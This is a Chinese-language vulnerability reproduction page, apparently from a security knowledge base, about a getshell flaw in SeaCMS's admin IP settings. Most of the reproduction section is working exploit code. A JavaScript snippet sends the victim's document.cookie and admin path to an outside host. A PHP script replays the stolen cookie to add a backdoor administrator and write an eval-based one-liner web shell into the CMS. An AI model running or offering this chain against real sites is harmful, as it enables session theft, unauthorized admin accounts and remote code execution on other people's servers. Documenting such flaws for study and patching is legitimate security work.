menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 115-Seacms chevron_right 002-seacms getshell.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    002-seacms getshell.md
    2.46 KB / 2021-07-17 00:01:30
        # seacms getshell
    
    ### 一、漏洞简介
    
    海洋cms是一款简单的php内容管理系统,主要用于视频网站,采用PHP+MYSQL架构,未使用框架
    
    ### 二、漏洞影响
    
    ### 三、复现过程
    
    后台代码如下
    
    
    ```php
    <?php
    header('Content-Type:text/html;charset=utf-8');
    require_once(dirname(__FILE__)."/config.php");
    CheckPurview();
    if($action=="set")
    {
        $v= $_POST['v'];
        $ip = $_POST['ip'];
        $open=fopen("../data/admin/ip.php","w" );
        $str='<?php ';
        $str.='$v = "';
        $str.="$v";
        $str.='"; ';
        $str.='$ip = "';
        $str.="$ip";
        $str.='"; ';
        $str.=" ?>";
        fwrite($open,$str);
        fclose($open);
        ShowMsg("成功保存设置!","admin_ip.php");
        exit;
    }
    ?>
    ```
    
    这里根本没有经过过滤,直接将变量写进去,可以写一个脚本利用
    
    代码如下
    
    
    ```js
    # test.js
    var img = new Image();
    img.src=  "http://127.0.0.1/test.php?x=" + document.cookie + "&p=" + location.pathname;
    # test.php
    <?php
        function Requests($url, $data, $cookie = '', $type = 1){
            $ch = curl_init();
            $params[CURLOPT_URL] = $url;
               $params[CURLOPT_HEADER] = FALSE;
            $params[CURLOPT_SSL_VERIFYPEER] = false;
            $params[CURLOPT_SSL_VERIFYHOST] = false;
            $params[CURLOPT_RETURNTRANSFER] = true;
            if ($type === 1) {
                $params[CURLOPT_POST] = true;
                $params[CURLOPT_POSTFIELDS] = $data;
            }
            $params[CURLOPT_COOKIE] = $cookie;
            curl_setopt_array($ch, $params);
            $output = curl_exec($ch);
            file_put_contents('log.txt', $output, FILE_APPEND);
            curl_close($ch);
        }
        $C = $_GET['x'];
        $P = $_GET['p'];
        $P = substr($P, 0, strlen($P)-21);
        file_put_contents('c.txt', $C);
        file_put_contents('p.txt', $P);
        $url_1 = 'http://192.168.113.128'.$P.'admin_manager.php?action=add';
        $url_2 = 'http://192.168.113.128'.$P.'admin_ip.php?action=set';
        $data_1 = 'username=test&pwd=test&pwd2=test&groupid=1';
        $data_2 = 'v=0&ip=+";@eval($_POST[qwer]);"';
        Requests($url_1, $data_1, $C);
        Requests($url_2, $data_2, $C);
    ```
    
    这两个脚本会将cookie和后台路径保存在文件中,并且会向后台发送数据,添加一个系统管理员,同时会在系统中写入一个一句话木马,需要注意的是修改域名为测试域名。测试如下
    
    ![](images/15893388678483.png)
    
    
    代码已经写进了后
    
    ![](images/15893388737028.png)
    
    
    管理员添加成功
    
    ![](images/15893388789052.png)
    
    
    一句话也写进去了
    
    links
    file_download